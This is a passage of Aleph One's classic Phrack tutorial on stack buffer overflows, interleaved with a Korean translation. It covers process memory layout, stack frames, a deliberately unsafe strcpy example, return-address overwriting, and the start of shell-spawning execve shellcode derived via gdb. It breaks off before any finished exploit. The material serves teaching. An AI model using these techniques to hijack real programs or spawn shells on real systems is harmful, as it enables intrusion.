.oO Phrack 49 Oo. Volume Seven, Issue Forty-Nine File 14 of 16 BugTraq, r00t, and Underground.Org bring you XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Smashing The Stack For Fun And Profit XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX by Aleph One aleph1@underground.org `smash the stack` [C programming] n. On many C implementations it is possible to corrupt the execution stack by writing past the end of an array declared auto in a routine. Code that does this is said to smash the stack, and can cause return from the routine to jump to a random address. This can produce some of the most insidious data-dependent bugs known to mankind. Variants include trash the stack, scribble the stack, mangle the stack; the term mung the stack is not used, as this is never done intentionally. See spam; see also alias bug, fandango on core, memory leak, precedence lossage, overrun screw. `smash the stack` 명사. [C 프로그래밍] 어떤 루틴내에 로컬(auto)로 선언된 배열의 끝을 넘어서 쓰기를 함으로써 실행 스택을 붕괴시키는 것. '스택을 붕괴시킨' 코드는 루틴에서 나온 반환값을 임의의 주소로 점프 시킬 수 있으며, 인류에게 알려진 가장 교활한 데이터 의존적인 버그를 생성할 수 도 있다. 변종들로는 trash the stack, scribble the stack, mangle the stack 등이 있다. 절대로 의도적으로 이루어지지 않기 때문에 **mung the stack이라는 용어는 사용하지 않는다. spam, aliasing bug, fandango on core, memory leak, precedure lossage, overrun screw 참조 Introduction ~~~~~~~~~~~~ Over the last few months there has been a large increase of buffer overflow vulnerabilities being both discovered and exploited. Examples of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at, etc. This paper attempts to explain what buffer overflows are, and how their exploits work. 지난 수 개월에 걸쳐, 버퍼 오버플로우 약점에 대한 가능성이 많이 발견되고 개발되었다. 이러한 예로는 syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt libarary, at 등이 있다. 이 글에서는 버퍼 오버플로가 무엇인지, 그리고 어떻게 작동하는지에 대해 설명하려고 한다. Basic knowledge of assembly is required. An understanding of virtual memory concepts, and experience with gdb are very helpful but not necessary. We also assume we are working with an Intel x86 CPU, and that the operating system is Linux. 이 글을 이해하기 위해서는 어셈블리에 대한 기본적인 지식이 요구된다. 또한, 가상 메모리에 대한 개념에 대한 이해와 gdb에 대한 경험이 있다면 좀더 쉽게 이해 할 수 있지만, 필수적인 것은 아니다. 또한, 여러분들이 Intel x86 CPU 머신을 이용하고 있고, Linux 운영체제를 사용하여 작업한다고 가정한다. Some basic definitions before we begin: A buffer is simply a contiguous block of computer memory that holds multiple instances of the same data type. C programmers normally associate with the word buffer arrays. Most commonly, character arrays. Arrays, like all variables in C, can be declared either static or dynamic. Static variables are allocated at load time on the data segment. Dynamic variables are allocated at run time on the stack. To overflow is to flow, or fill over the top, brims, or bounds. We will concern ourselves only with the overflow of dynamic buffers, otherwise known as stack-based buffer overflows. 시작하기 전에, 몇가지 기본적인 정의를 하고자 한다. 버퍼(buffer)는 같은 데이터 타입(homogeneous data type)의 여러 인스턴스를 가진 컴퓨터 메모리의 연속적인 블럭으로 간단히 정의할 수 있다. C 프로그래머들은 대개 버퍼를 위한 배열을 연상하면 될 것이다. 대부분은 문자 배열이지만. C에서는 배열은 다른 모든 변수와 마찬가지로 정적(static) 으로 혹은 동적(dynamic)으로 선언된다. 정적 변수들은 실행 파일 적재시 데이터 세그먼트 할당된다. 이에 비해, 동적 변수들은 실행 시간에 스택에 할당된다. 오버플로(overflow)란 넘치는 것 혹은 꼭대기나 가장자리 혹은 경계를 넘치도록 채우는 것을 말한다. 이제 동적 버퍼 오버플로 혹은 다른 말로 스택 기반의 버퍼 오버플로에 우리의 관심을 집중시킬 것이다. Process Memory Organization ~~~~~~~~~~~~~~~~~~~~~~~~~~~ To understand what stack buffers are we must first understand how a process is organized in memory. Processes are divided into three regions: Text, Data, and Stack. We will concentrate on the stack region, but first a small overview of the other regions is in order. 스택 버퍼를 이해하려면 먼저 프로세스가 메모리에 어떤 모습으로 적재되는지를 알아야 한다. 프로세스는 세 영역 즉, 텍스트(text), 데이터(data) 그리고 스택 (stack)으로 나누어 진다. 특히, 스택 영역에 관심을 집중할 것이며, 그 보다 먼저 다른 영영에 대하여 간략히 알아보고자 한다. The text region is fixed by the program and includes code (instructions) and read-only data. This region corresponds to the text section of the executable file. This region is normally marked read-only and any attempt to write to it will result in a segmentation violation. 텍스트(text) 영역은 프로그램에 의해서 고정되며, 프로그램의 코드와 읽기-전용 데이터을 포함한다. 이 영역은 실행 파일의 텍스트 부분에 해당한다. 또한, 이 영역은 대개 읽기-전용으로 표시되며, 쓰기를 위한 이떠한 시도를 하게되면 세그먼트 침해(sementation violation)을 일으키게 될 것이다. The data region contains initialized and uninitialized data. Static variables are stored in this region. The data region corresponds to the data-bss sections of the executable file. Its size can be changed with the brk(2) system call. If the expansion of the bss data or the user stack exhausts available memory, the process is blocked and is rescheduled to run again with a larger memory space. New memory is added between the data and stack segments. 데이터(data) 영역은 초기화된 데이터와 초기화되지 않은 데이터를 포함한다. 정적 변수는 이 영역에 저장된다. 데이터 영역은 실행 파일의 데이터 부분에 해당한다. 크키는 brk(2) 시스템 호출에 의해서 변경될 수 있다. 만약, bss 데이터의 확장 혹은 사용자 스택이 이용 가능한 메모리를 다 써버린다면, 그 프로세스는 대기(blocked)하면서 더 큰 메모리 공간을 할당받아 다시 실행될 수 있도록 다시 스케줄된다. 새로운 메모리는 데이터 세그먼트와 스택 세그먼트 사이에 추가된다. /------------------\ lower | | memory | Text | addresses | | |------------------| | (Initialized) | | Data | | (Uninitialized) | |------------------| | | | Stack | higher | | memory \------------------/ addresses Fig. 1 Process Memory Regions What Is A Stack? ~~~~~~~~~~~~~~~~ 스택이란 무엇인가? ~~~~~~~~~~~~~~~~~~ A stack is an abstract data type frequently used in computer science. A stack of objects has the property that the last object placed on the stack will be the first object removed. This property is commonly referred to as last in, first out queue, or a LIFO. 스택(stack)은 컴퓨터 분야에서 아주 흔히 사용되는 추상화 데이터 타입이다. 또한, 스택은 스택에 마지막으로 들어간 객체가 처음으로 제거되는 특성을 가진다. 이러한 특성을 흔히 last in, first out queue 즉 LIFO 라고 한다. Several operations are defined on stacks. Two of the most important are PUSH and POP. PUSH adds an element at the top of the stack. POP, in contrast, reduces the stack size by one by removing the last element at the top of the stack. 스택은 몇가지 동작을 정의하고 있다. 가장 중요한 두 가지는 PUSH(넣기)와 POP(빼기)이며, PUSH는 어떤 데이터 요소를 스택에 꼭대기에 추가하는 동작을 말하며, 이와 반대로 POP은 스택의 꼭대기에 마직막으로 들어간 요소를 제거 하고 스택의 크기를 1만큼 감소하는 동작을 의미한다. Why Do We Use A Stack? ~~~~~~~~~~~~~~~~~~~~~~ 왜 스택을 사용하는가? ~~~~~~~~~~~~~~~~~~~~~ Modern computers are designed with the need of high-level languages in mind. The most important technique for structuring programs introduced by high-level languages is the procedure or function. From one point of view, a procedure call alters the flow of control just as a jump does, but unlike a jump, when finished performing its task, a function returns control to the statement or instruction following the call. This high-level abstraction is implemented with the help of the stack. 현대의 컴퓨터들은 고수준의 언어들의 필요성을 염두에 두고 설계되었다. 고수준 언어에 의해 소개된 프로그램 구조화를 위한 가장 중대한 기술은 프로시저(proce- dure) 혹은 함수(function)이다. 한편으로는, 프로시저 호출은 jump처럼 단지 제어의 흐름을 변경하는 역할을 하지만, jump와 달리 그 작업 수행을 종료하면서 호출 다음 문장 혹은 명령으로 제어를 되돌리는 역할을 한다. The stack is also used to dynamically allocate the local variables used in functions, to pass parameters to the functions, and to return values from the function. 이 때, 스택은 함수에서 사용되는 지역변수를 동적으로 할당하거나 함수로 전달 할 매개변수들을 건네주고, 함수로 값을 리턴하기 위해 사용된다. The Stack Region ~~~~~~~~~~~~~~~~ A stack is a contiguous block of memory containing data. A register called the stack pointer (SP) points to the top of the stack. The bottom of the stack is at a fixed address. Its size is dynamically adjusted by the kernel at run time. The CPU implements instructions to PUSH onto and POP off of the stack. 스택은 데이터를 포함하고 있는 메모리의 연속적인 블럭이다. 스택 포인터(SP)로 불리는 레지스터는 스택의 꼭대기를 가리킨다. 스택의 바닥은 고정된 주소이다. 스택의 크기는 실행 시간에 커널에 의해서 동적으로 조정된다. CPU는 스택에 데이터를 넣기 위한 PUSH 명령과 스택으로부터 데이터를 끄집어 내기 위한 POP 명령이 구현되어 있다. The stack consists of logical stack frames that are pushed when calling a function and popped when returning. A stack frame contains the parameters to a function, its local variables, and the data necessary to recover the previous stack frame, including the value of the instruction pointer at the time of the function call. 스택은 함수를 호출할때 push되고 리턴할때 pop되는 논리적인 스택 프레임으로 구성된다. 스택 프레임은 함수의 매개변수와 지역변수 그리고 이전 스택 프레임 을 복원하기 위해 필요한 데이터 즉, 함수 호출시 명령 포인터(IP)의 값을 포함 한 데이터를 가지고 있다. Depending on the implementation the stack will either grow down (towards lower memory addresses), or up. In our examples we'll use a stack that grows down. This is the way the stack grows on many computers including the Intel, Motorola, SPARC and MIPS processors. The stack pointer (SP) is also implementation dependent. It may point to the last address on the stack, or to the next free available address after the stack. For our discussion we'll assume it points to the last address on the stack. 구현에 따라, 스택은 아래로(낮은 메모리 주소 방향으로) 자라거나 위로 자란다. 예제에서는 아래로 자라는 스택을 사용할 것이다. 이것은 Intel, Motorola, SPARC 그리고 MISP 프로세서를 포함한 많은 컴퓨터에서 스택이 자라는 방법이다. 스택 포인터(SP) 또한 구현에 따라 다르다. 즉, 스택의 마지막 주소를 가리킬 수도 있고 다음 이용가능한 공간을 가리킬 수도 있다. 이 글에서는 스택의 마지막 주소를 가리키는 것으로 가정한다. In addition to the stack pointer, which points to the top of the stack (lowest numerical address), it is often convenient to have a frame pointer (FP) which points to a fixed location within a frame. Some texts also refer to it as a local base pointer (LB). In principle, local variables could be referenced by giving their offsets from SP. However, as words are pushed onto the stack and popped from the stack, these offsets change. Although in some cases the compiler can keep track of the number of words on the stack and thus correct the offsets, in some cases it cannot, and in all cases considerable administration is required. Futhermore, on some machines, such as Intel-based processors, accessing a variable at a known distance from SP requires multiple instructions. 스택 포인터가 스택의 꼭대기를 가리키는 것과 연루하여, 스택 프레임의 고정된 위치를 가리키는 프레임 포인터(FP)를 가지는 것이 흔히 편리하다. 어떤 텍스트 는 이것을 지역 베이스 포인터(LB)로 참조한다. 원칙적으로, 지역 변수는 스택 포인터(SP)로부터 오프셋을 계산하여 참조된다. 그러나, 워드가 스택에 푸시 되거나 팝될때 이 오프셋은 변한다. 어떤 경우에는 컴파일러가 스택에 들어있는 워드의 수를 유지함으로써 오프셋을 정확히 계산하지만, 어떤 경우에는 그렇지 않으며, 거의 모든 경우에 상당한 유지관리가 요구된다. 더군다나, Intel 기반의 프로세서와 같은 기계에서는 SP로부터 알려진 거리에 있는 변수에 액세스하기 위해서는 여러 명령이 필요하다. Consequently, many compilers use a second register, FP, for referencing both local variables and parameters because their distances from FP do not change with PUSHes and POPs. On Intel CPUs, BP (EBP) is used for this purpose. On the Motorola CPUs, any address register except A7 (the stack pointer) will do. Because the way our stack grows, actual parameters have positive offsets and local variables have negative offsets from FP. 결과적으로, 많은 컴파일러들은 지역변수와 매개변수를 참조하기 위해 두번째 레지스터 FP를 사용하며, 이것은 PUSH나 POP 연산으로 인해 값이 바뀌지 않는 다. Intel CPU에서는 BP(EBP) 레지스터가 이러한 목적을 위해 사용되며, Motorola CPU에서는 A7(스택 포인터)을 제외한 어떠한 주소 레지스터라도 사용할 수 있다. 스택이 자라는 방법 때문에 실 매개변수들은 양수의 오프셋 값을 가지며, 지역변수는 FP로부터 음수의 오프셋 값을 가진다. The first thing a procedure must do when called is save the previous FP (so it can be restored at procedure exit). Then it copies SP into FP to create the new FP, and advances SP to reserve space for the local variables. This code is called the procedure prolog. Upon procedure exit, the stack must be cleaned up again, something called the procedure epilog. The Intel ENTER and LEAVE instructions and the Motorola LINK and UNLINK instructions, have been provided to do most of the procedure prolog and epilog work efficiently. 프로시저가 호출되면 가장 먼저 해야할 일은 이전의 FP(프로시저를 빠져 나올 때 복구할 수 있도록)를 저장하는 것이다. 그리고 나서 새로운 FP를 생성해서 SP를 FP에 복사하, 지역변수를 위한 공간을 예약하기 위해 SP를 증가 시킨다. 이 코드를 '프로시저 프롤로그(procedure prolog)'라고 한다. 프로시저를 빠져 나올 때, 스택은 다시 깨끗하게 비워져야 하며, 이러한 코드를 '프로시저 에필로그(procedure epilog)'라고 한다. Intel의 ENTER와 LEAVE 명령 그리고 Motorola의 LINK와 UNLINK 명령은 대부분의 프로시저 프롤로그와 에필로그 작업을 효율적으로 처리하기 위한 명령이 제공한다. Let us see what the stack looks like in a simple example: 간단한 예제를 통해서 스택이 어떻게 보여지는지 살펴보자. example1.c: ------------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); } ------------------------------------------------------------------------------ To understand what the program does to call function() we compile it with gcc using the -S switch to generate assembly code output: 위의 프로그램이 함수 function()을 호출하기 위해 무엇을 하는지 알아보기 위해 gcc로 컴파일할 때 -S 스위치를 함께 사용하면 어셈블리 코드 출력을 생성할 수 있다. $ gcc -S -o example1.s example1.c By looking at the assembly language output we see that the call to function() is translated to: 어셈블리 언어 출력을 살펴보면, 함수 function() 호출이 어떻게 변환되었는지 알 수 있다. pushl $3 pushl $2 pushl $1 call function This pushes the 3 arguments to function backwards into the stack, and calls function(). The instruction 'call' will push the instruction pointer (IP) onto the stack. We'll call the saved IP the return address (RET). The first thing done in function is the procedure prolog: 이것은 함수로 전달되는 3개의 인자를 뒤에서 앞으로 가면서 스택에 푸시하고 나서 함수를 호출함을 보여준다. 명령 'call'은 명령 포인터(IP)를 스택에 푸시하며, 리턴 주소(RET)로 저장된 IP를 사용할 것이다. 함수내에서 맨 처음 으로 일어나는 일은 프로시저 프롤로그이다. pushl %ebp movl %esp,%ebp subl $20,%esp This pushes EBP, the frame pointer, onto the stack. It then copies the current SP onto EBP, making it the new FP pointer. We'll call the saved FP pointer SFP. It then allocates space for the local variables by subtracting their size from SP. 이것은 프레임 포인터(EBP)를 스택에 푸시한다. 그 다음에 현재의 SP를 EBP에 복사하여 새로운 FP 포인터를 만들게 한다. 이렇게 저장된 FP 포인터를 SFP라 하자. 그리고 나서 SP로부터 얼마간의 값을 뺌으로써 지역 변수를 위한 공간을 할당하게 된다. We must remember that memory can only be addressed in multiples of the word size. A word in our case is 4 bytes, or 32 bits. So our 5 byte buffer is really going to take 8 bytes (2 words) of memory, and our 10 byte buffer is going to take 12 bytes (3 words) of memory. That is why SP is being subtracted by 20. With that in mind our stack looks like this when function() is called (each space represents a byte): 한 가지 주의할 점은 메모리 주소 지정은 워드 크기의 배수로만 가능하다는 것이다. 여러분의 경우에 한 워드는 4 바이트 혹은 32 비트이다. 그리하여 5 바이트 버퍼는 실제로는 8 바이트(2 워드)의 메모리를 차지할 것이다. 마찬가지로 10 바이트의 버퍼는 12 바이트(3 워드) 크기의 메모리를 차지한다. 이것이 SP 값에다 20을 뺀 이유이다. 이러한 점을 고려하면, 함수 function() 이 호출될 때 스택은 다음과 같을 것이다.(각 공백은 한 바이트를 나타낸다.) bottom of top of memory memory buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] top of bottom of stack stack Buffer Overflows ~~~~~~~~~~~~~~~~ A buffer overflow is the result of stuffing more data into a buffer than it can handle. How can this often found programming error can be taken advantage to execute arbitrary code? Lets look at another example: 버퍼 오버플로는 실제로 다룰수 있는 것보다 더 많은 데이터를 버퍼에 채우서 나타난 결과이다. 이러한 흔히 발견되는 프로그래밍 에러가 어떻게 임의의 코드를 실행하는데 이용될까? 다른 예제를 통해 살펴보자. example2.c ------------------------------------------------------------------------------ void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } ------------------------------------------------------------------------------ This is program has a function with a typical buffer overflow coding error. The function copies a supplied string without bounds checking by using strcpy() instead of strncpy(). If you run this program you will get a segmentation violation. Lets see what its stack looks when we call function: 이 프로그램은 전형적인 버퍼 오버플로 코딩 에러를 가지는 함수를 가지고 있다. 이 함수는 strncpy() 함수를 사용하는 대신 strcpy() 함수를 사용함으로써 경계 검사를 하지 않고 제공된 문자열을 복사한다. 이 프로그램을 실행시키면 세크먼트 침해(segmentation violation) 에러를 만날 것이다. 함수를 호출할때 스택의 상황을 살펴보자. bottom of top of memory memory buffer sfp ret *str <------ [ ][ ][ ][ ] top of bottom of stack stack What is going on here? Why do we get a segmentation violation? Simple. strcpy() is coping the contents of *str (larger_string[]) into buffer[] until a null character is found on the string. As we can see buffer[] is much smaller than *str. buffer[] is 16 bytes long, and we are trying to stuff it with 256 bytes. This means that all 250 bytes after buffer in the stack are being overwritten. This includes the SFP, RET, and even *str! We had filled large_string with the character 'A'. It's hex character value is 0x41. That means that the return address is now 0x41414141. This is outside of the process address space. That is why when the function returns and tries to read the next instruction from that address you get a segmentation violation. 무슨 일이 일어나는가? 왜 세스먼트 침해 오류를 내는 것일까? 간단하다. strcpy() 함수가 *str (larger_string[])의 내용을 널문자를 만날때까지 buffer[]로 복사하고 있는 것이다. buffer[]는 16 바이트 길이인데, 256 바이트 길이의 문자열 채워넣으려 한 것이다. 이것은 스택에 buffer 이후의 250 바이트를 오버라이트하고 있다는 것을 의미한다. 이곳에는 SFP, RET 그리고 심지어 *str까지 포함하고 있지 않은가? 우리는 large_string을 문자 'A'로 채웠었다. 문자 'A'의 16진 코드는 0x41이고, 그러고 보니 리턴 어드레스가 이제 0x41414141로 되어 버렸다. 이 주소는 프로세스 주소 영역을 벗어난 값이다. 이것이 바로 함수가 리턴하면서 그 주소로부터 다음 명령을 읽으려고 하다가 세그먼트 침해 오류를 내게된 이유이다. So a buffer overflow allows us to change the return address of a function. In this way we can change the flow of execution of the program. Lets go back to our first example and recall what the stack looked like: 따라서, 버퍼 오버플로는 우리가 함수의 리턴 주소를 바꿀 수 있게 하는 것이다. 이와 같은 방식으로 우리는 프로그램의 실행 흐름을 바꾸어 버릴 수 있다. 자, 첫 번째 예제로 되돌아가서 다시 한번 스택의 상태를 살펴보자. bottom of top of memory memory buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] top of bottom of stack stack Lets try to modify our first example so that it overwrites the return address, and demonstrate how we can make it execute arbitrary code. Just before buffer1[] on the stack is SFP, and before it, the return address. That is 4 bytes pass the end of buffer1[]. But remember that buffer1[] is really 2 word so its 8 bytes long. So the return address is 12 bytes from the start of buffer1[]. We'll modify the return value in such a way that the assignment statement 'x = 1;' after the function call will be jumped. To do so we add 8 bytes to the return address. Our code is now: 첫 번째 예제를 수정해서 리턴 주소를 오버라이트 하도록 한 다음, 어떻게 임의의 코드를 실행하게 할 수 있는지 살펴보자. 스택에서 buffer1[] 바로 앞에는 SFP가 있고, SFP 바로 앞에는 리턴 주소가 있다. 이것은 buffer1[] 의 끝에서 4 바이트를 지난 위치이다. 그러나, buffer1[]는 실제로 2 워드 즉 8 바이트 길이임을 기억하자. 즉, 리턴 주소는 buffer1[]의 시작 주소에서 12 바이트 떨어진 곳에 있다. 이제 함수 호출이 이루어진 후에 'x = 1;' 문장으로 점프하도록 리턴 값을 변경할 것이다. 그렇게 하기 위해서는 리턴 주소에 8 바이트를 더할 것이다. 이제 코드는 다음과 같다. example3.c: ------------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 8; } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } ------------------------------------------------------------------------------ What we have done is add 12 to buffer1[]'s address. This new address is where the return address is stored. We want to skip pass the assignment to the printf call. How did we know to add 8 to the return address? We used a test value first (for example 1), compiled the program, and then started gdb: 우리가 한 것은 buffer1[]의 주소에 12 만큼을 더한 것이다. 이 새로운 주소는 리턴 주소가 저장되어 있는 곳이다. 할당문을 건너띄어 printf 함수를 호출하고 싶다. 우리는 어떻게 리턴 주소에 8을 더하면 된다는 것을 알았는가? 우리는 테스트 값으로 1을 사용해서 컴파일했고 그리고 나서는 gdb를 이용하였다. ------------------------------------------------------------------------------ [aleph1]$ gdb example3 GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble main Dump of assembler code for function main: 0x8000490
: pushl %ebp 0x8000491 : movl %esp,%ebp 0x8000493 : subl $0x4,%esp 0x8000496 : movl $0x0,0xfffffffc(%ebp) 0x800049d : pushl $0x3 0x800049f : pushl $0x2 0x80004a1 : pushl $0x1 0x80004a3 : call 0x8000470 0x80004a8 : addl $0xc,%esp 0x80004ab : movl $0x1,0xfffffffc(%ebp) 0x80004b2 : movl 0xfffffffc(%ebp),%eax 0x80004b5 : pushl %eax 0x80004b6 : pushl $0x80004f8 0x80004bb : call 0x8000378 0x80004c0 : addl $0x8,%esp 0x80004c3 : movl %ebp,%esp 0x80004c5 : popl %ebp 0x80004c6 : ret 0x80004c7 : nop ------------------------------------------------------------------------------ We can see that when calling function() the RET will be 0x8004a8, and we want to jump past the assignment at 0x80004ab. The next instruction we want to execute is the at 0x8004b2. A little math tells us the distance is 8 bytes. 이제 우리는 함수 function()를 호출할 때, RET는 0x8004a8 가 될 것이라는 것을 알 수 있고, 0x80004ab에 있는 할당문을 지나 점프하기를 원한다. 그렇다면 우리가 실행할 다음 명령은 0x8004b2에 있고, 간단히 원래 리턴 주소에서 거리가 8 바이트 만큼 떨어져 있다는 것을 알 수 있다. Shell Code ~~~~~~~~~~ So now that we know that we can modify the return address and the flow of execution, what program do we want to execute? In most cases we'll simply want the program to spawn a shell. From the shell we can then issue other commands as we wish. But what if there is no such code in the program we are trying to exploit? How can we place arbitrary instruction into its address space? The answer is to place the code with are trying to execute in the buffer we are overflowing, and overwrite the return address so it points back into the buffer. Assuming the stack starts at address 0xFF, and that S stands for the code we want to execute the stack would then look like this: 이제 우리는 리턴 주소를 수정함으로써 실행의 흐름을 바꿀수 있다는 것을 알게 되었다. 그렇다면 어떤 프로그램을 실행할 것인가? 대부분의 경우, 그 프로그램이 쉘을 생성(spawn)하도록 하기를 원할 것이다. 그리고 나서 쉘에서 얼만든지 원하는 다른 명령을 할 수 있으니깐 말이다. 그러나, 우리가 exploit 하려는 프로그램에서 그러한 코드가 없다면 어떻게 할 것인가? 어떻게 하면 임의의 명령을 그 주소 공간에 넣을 수 있을까? 해답은 오버플로 가 일어나는 버퍼에 실행하고자 하는 코드를 넣는 것이다. 즉, 버퍼 뒤에 어딘가를 가리키도록 리턴 주소를 오버라이트 하는 것이다. 스택은 0xFF에서 시작한다고 가정하자. 그리고 S는 실행하고자 하는 코드를 나타낸다고 가정하면 스택은 다음과 같이 보일 것이다. bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | |____________________________| top of bottom of stack stack The code to spawn a shell in C looks like: C에서 쉘을 기동시키는 코드는 다음과 같다. shellcode.c ----------------------------------------------------------------------------- #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } ------------------------------------------------------------------------------ To find out what does it looks like in assembly we compile it, and start up gdb. Remember to use the -static flag. Otherwise the actual code the for the execve system call will not be included. Instead there will be a reference to dynamic C library that would normally would be linked in at load time. 어셈블리어로 어떻게 보이는지 알아보기 위해 우리는 위의 프로그램을 컴파일 하고, gdb를 이용할 것이다. 반드시 -static 플래그를 사용해야 한다. 그렇지 않으면, exeve 시스템 호출을 위한 실제 코드가 포함되지 않을 것이고, 대신에 대개는 적재 시간에 링크되는 동적 C 라이브러리를 참조하게 될 것이다. ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp) 0x8000144 : pushl $0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 0x800014e : call 0x80002bc <__execve> 0x8000153 : addl $0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. ------------------------------------------------------------------------------ Lets try to understand what is going on here. We'll start by studying main: 이제 하나하나 분석해보자. 먼저 main 부터 시작하자. ------------------------------------------------------------------------------ 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp This is the procedure prelude. It first saves the old frame pointer, makes the current stack pointer the new frame pointer, and leaves space for the local variables. In this case its: 이것은 프로시저 준비 코드(procedure prelude)로서, 일단 이전 프레임 포인터를 저장하고 현재 스택 포인터를 새로운 프레임 포인터로 만들고, 지역 변수를 위한 공간을 남겨둔다. char *name[2]; or 2 pointers to a char. Pointers are a word long, so it leaves space for two words (8 bytes). 2 개의 문자를 가리키는 포인터이며, 포인터는 한 워드 길이이다. 즉, 2 워드(8 bytes)를 위한 공간을 남겨둔다. 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) We copy the value 0x80027b8 (the address of the string "/bin/sh") into the first pointer of name[]. This is equivalent to: 이제 문자열 "/bin/sh"의 주소값, 0x80027b8을 name[]의 첫 번째 포인터 로 복사한다. name[0] = "/bin/sh"; 0x800013d : movl $0x0,0xfffffffc(%ebp) We copy the value 0x0 (NULL) into the seconds pointer of name[]. This is equivalent to: 이제 널(NULL) 값, 0x0을 name[]의 두번째 포인터에 복사한다. name[1] = NULL; The actual call to execve() starts here. execve() 함수의 실제 호출은 여기서 시작한다. 0x8000144 : pushl $0x0 We push the arguments to execve() in reverse order onto the stack. We start with NULL. execve() 함수로 건네지는 인자들을 스택에 역순으로 푸시한다. 즉, 널 문자부터 시작해서 푸시한다. 0x8000146 : leal 0xfffffff8(%ebp),%eax We load the address of name[] into the EAX register. name[]의 주소를 EAX 레지스터에 적재한다. 0x8000149 : pushl %eax We push the address of name[] onto the stack. name[]의 주소를 스택에 푸시한다. 0x800014a : movl 0xfffffff8(%ebp),%eax We load the address of the string "/bin/sh" into the EAX register. 문자열 "/bin/sh"의 주소를 EAX 레지스터에 적재한다. 0x800014d : pushl %eax We push the address of the string "/bin/sh" onto the stack. 문자열 "/bin/sh"의 주소를 스택에 푸시한다. 0x800014e : call 0x80002bc <__execve> Call the library procedure execve(). The call instruction pushes the IP onto the stack. 라이브러리 프로시저 execve()를 호출한다. call 명령은 IP를 스택에 푸시 한다. ------------------------------------------------------------------------------ Now execve(). Keep in mind we are using a Intel based Linux system. The syscall details will change from OS to OS, and from CPU to CPU. Some will pass the arguments on the stack, others on the registers. Some use a software interrupt to jump to kernel mode, others use a far call. Linux passes its arguments to the system call on the registers, and uses a software interrupt to jump into kernel mode. 이제 execve()를 살펴보자. Intel 기반의 리눅스 시스템을 대상으로 하고 있음을 다시 한번 숙지하자. 왜냐하면, 시스템 호출은 운영체제나 CPU마다 다르기 때문 이다. 어떤 것은 인자를 스택에 놓고, 또 어떤 것은 레지스터에 놓기 때문이다. 또한, 어떤 것은 소프트웨어 인터럽트를 사용하여 커널 모드로 점프하고, 또 어떤 것은 원거리 호출(far call)을 사용하기도 한다. 리눅스는 시스템 호출시 인자를 레지스터에 놓으며, 소프트웨어 인터럽트를 사용하여 커널 모드로 진입 한다. ------------------------------------------------------------------------------ 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx The procedure prelude. 0x80002c0 <__execve+4>: movl $0xb,%eax Copy 0xb (11 decimal) onto the stack. This is the index into the syscall table. 11 is execve. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx Copy the address of "/bin/sh" into EBX. 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx Copy the address of name[] into ECX. 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx Copy the address of the null pointer into %edx. 0x80002ce <__execve+18>: int $0x80 Change into kernel mode. ------------------------------------------------------------------------------ So as we can see there is not much to the execve() system call. All we need to do 